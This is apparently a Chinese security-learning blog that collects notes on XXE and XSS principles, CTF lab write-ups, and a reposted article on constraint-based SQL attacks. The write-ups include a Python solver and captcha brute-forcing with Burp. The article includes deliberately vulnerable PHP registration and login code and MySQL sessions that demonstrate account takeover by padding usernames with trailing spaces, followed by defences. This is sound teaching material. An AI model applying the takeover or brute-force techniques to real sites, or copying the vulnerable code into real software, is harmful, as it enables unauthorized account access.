xxe漏洞的复现解析

参考链接:https://www.jianshu.com/p/163879fc1018

漏洞原理

当XML文件中出现关键字”SYSTEM”定义的“实体”(DOCTYPE头部标签中会呈现),便可通过XML文件中定义的’实体’ , 访问本地或者远程的内容。这时候,XML解析器在SYSTEM的作用下从URI中读取内容,并允许它在XML文档中被替换,从而造成外部实体攻击。此时,Web应用如果产生数据回显,则会将URL中的数据呈现在应用界面上。
而如果Web端注意到这一点,没有设置回显,那么攻击者可以将数据通过外数据通道发送到攻击者服务器,从而达到攻击效果。

XSS注入原理及应用

XSS简介

参考书籍:《白帽子讲web安全》

XSS 跨站脚本攻击(Cross Site Script),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过(插入恶意脚本,实现对用户游览器的控制。

网络安全实验室-脚本关

1.key又又找不到了
小明这次哭了,key又找不到了!!! key啊,你究竟藏到了哪里,为什么我看到的页面上都没有啊!!!!!!

burpsuite抓包在响应处发现key

2.快速口算
小明要参加一个高技能比赛,要求每个人都要能够快速口算四则运算,2秒钟之内就能够得到结果,但是小明就是一个小学生没有经过特殊的培训,那小明能否通过快速口算测验呢?

1
2
3
4
5
6
7
8
9
10
11
<!-- more -->
#-*-coding:utf-8-*-
import requests, re
url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
s = requests.session()
c = s.get(url).content
print c
r = re.findall(r'[\d]{2,}',c)
r=int(r[0])*int(r[1])+int(r[2])*(int(r[3])+int(r[4]))
c1 = s.post(url, data={'v':r}).content
print c1.decode('utf-8')
  • 正则表达式详解
  • 正则 re.findall 的简单用法(返回string中所有与pattern相匹配的全部字串,返回形式为数组)
  • requests详解
  • decode的作用是将其他编码的字符串转换成unicode编码

    3.这个题目是空的

    Tips:这个题目真不是随便设置的。 什么才是空的呢?

    通关地址:没有,请直接提交答案(小写即可)

    0,null,none,no等等试一下就出来了
    结果为null

    4.怎么就是不弹出key呢?
    提交说明:提交前14个字符即可过关

    这题做不出来,据说是把前面几个函数去掉即可,多次试了下还是无用

    5.逗比验证码第一期
    逗比的验证码,有没有难道不一样吗?

    image

    burpsuite抓包
    image

    观察后发现Cookie是保持不变的,验证码与session对应,session会话不会被刷新,一直存在,所以可以用burpsuite intruder爆破密码
    image
    pwd=1238,得到key

    6.逗比验证码第二期
    验证便失效的验证码

    burpsuite测试后将验证码设置空再爆破密码

据说原因是请求头包含了这两句

1
2
Connection: keep-alive  
Upgrade-Insecure-Requests: 1

7.逗比的验证码第三期(SESSION)
尼玛,验证码怎么可以这样逗比。。
验证码做成这样,你家里人知道吗?

方法和第六题一样,具体原因我也不清楚,据说是第六题记录在Cookie,而第七题是记录在Session

8.微笑一下就能过关了
尼玛,碰到这样的题我能笑得出来嘛…

查看源代码

image

网络安全实验室-基础关

1.key在哪里?

查看源代码得到key

2.再加密一次你就得到key啦~
加密之后的数据为xrlvf23xfqwsxsqf

rot-13就是一种编码方式,其功能是将英文字母转换为其后第十三个字母,如果超过26则绕回开头。你可以把26个字母想象成一个字母a和字母z连在一起的环。要加密某个字母,就在环上往后数13个,第十三个就是对应的密文。

基于约束的SQL攻击

基于约束的SQL攻击

转载自:http://www.freebuf.com/articles/web/124537.html

背景介绍

最近,我遇到了一个有趣的代码片段,开发者尝试各种方法来确保数据库的安全访问。当新用户尝试注册时,将运行以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!-- more -->
<?php
// Checking whether a user with the same username exists
$username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT *
FROM users
WHERE username='$username'";
$res = mysql_query($query, $database);
if($res) {
if(mysql_num_rows($res) > 0) {
// User exists, exit gracefully
.
.
}
else {
// If not, only then insert a new entry
$query = "INSERT INTO users(username, password)
VALUES ('$username','$password')";
.
.
}
}

使用以下代码验证登录信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT username FROM users
WHERE username='$username'
AND password='$password' ";
$res = mysql_query($query, $database);
if($res) {
if(mysql_num_rows($res) > 0){
$row = mysql_fetch_assoc($res);
return $row['username'];
}
}
return Null;

安全考虑:

1
2
过滤用户输入参数了吗? — 完成检查
使用单引号(’)来增加安全性了吗? — 完成检查

按理说应该不会出错了啊?

然而,攻击者依然能够以任意用户身份进行登录!

攻击技巧

在谈论这种攻击手法之前,首先我们需要了解几个关键知识点。

在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。

1
SELECT * FROM users WHERE username='vampire     ';

但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。

在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。

现在,让我们建立一个测试数据库来演示具体攻击过程。
(在本地自己的mysql上测试)

1
2
3
4
mysql> CREATE DATABASE testing;
Query OK, 1 row affected (0.03 sec)
mysql> USE testing;
Database changed

接着创建一个数据表users,其包含username和password列,并且字段的最大长度限制为25个字符。然后,我将向username字段插入“vampire”,向password字段插入“my_password”。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> CREATE TABLE users (
-> username varchar(25),
-> password varchar(25)
-> );
Query OK, 0 rows affected (0.09 sec)
mysql> INSERT INTO users
-> VALUES('vampire', 'my_password');
Query OK, 1 row affected (0.11 sec)
mysql> SELECT * FROM users;
+----------+-------------+
| username | password |
+----------+-------------+
| vampire | my_password |
+----------+-------------+
1 row in set (0.00 sec)

为了展示尾部空白字符的修剪情况,我们可以键入下列命令:

1
2
3
4
5
6
7
8
mysql> SELECT * FROM users
-> WHERE username='vampire ';
+----------+-------------+
| username | password |
+----------+-------------+
| vampire | my_password |
+----------+-------------+
1 row in set (0.00 sec)

现在我们假设一个存在漏洞的网站使用了前面提到的PHP代码来处理用户的注册及登录过程。为了侵入任意用户的帐户(在本例中为“vampire”),只需要使用用户名“vampire[许多空白符]1”和一个随机密码进行注册即可。对于选择的用户名,前25个字符应该只包含vampire和空白字符,这样做将有助于绕过检查特定用户名是否已存在的查询。

1
2
3
mysql> SELECT * FROM users
-> WHERE username='vampire 1';
Empty set (0.00 sec)

这里的空格符至少要十八个

需要注意的是,在执行SELECT查询语句时,SQL是不会将字符串缩短为25个字符的。因此,这里将使用完整的字符串进行搜索,所以不会找到匹配的结果。接下来,当执行INSERT查询语句时,它只会插入前25个字符。

1
2
3
4
5
6
7
8
9
10
11
12
mysql>   INSERT INTO users(username, password)
-> VALUES ('vampire 1', 'random_pass');
Query OK, 1 row affected, 1 warning (0.05 sec)
mysql> SELECT * FROM users
-> WHERE username='vampire';
+---------------------------+-------------+
| username | password |
+---------------------------+-------------+
| vampire | my_password |
| vampire | random_pass |
+---------------------------+-------------+
2 rows in set (0.00 sec)

很好,现在我们检索“vampire”的,将返回两个独立用户。注意,第二个用户名实际上是“vampire”加上尾部的18个空格。现在,如果使用用户名“vampire”和密码“random_pass”登录的话,则所有搜索该用户名的SELECT查询都将返回第一个数据记录,也就是原始的数据记录。这样的话,攻击者就能够以原始用户身份登录。这个攻击已经在MySQL和SQLite上成功通过测试。我相信在其他情况下依旧适用。

防御手段

毫无疑问,在进行软件开发时,需要对此类安全漏洞引起注意。我们可采取以下几项措施进行防御:

将要求或者预期具有唯一性的那些列加上UNIQUE约束。实际上这是一个涉及软件开发的重要规则,即使你的代码有维持其完整性的功能,也应该恰当的定义数据。由于’username’列具有UNIQUE约束,所以不能插入另一条记录。将会检测到两个相同的字符串,并且INSERT查询将失败。

最好使用’id’作为数据库表的主键。并且数据应该通过程序中的id进行跟踪

为了更加安全,还可以用手动调整输入参数的限制长度(依照数据库设置)

,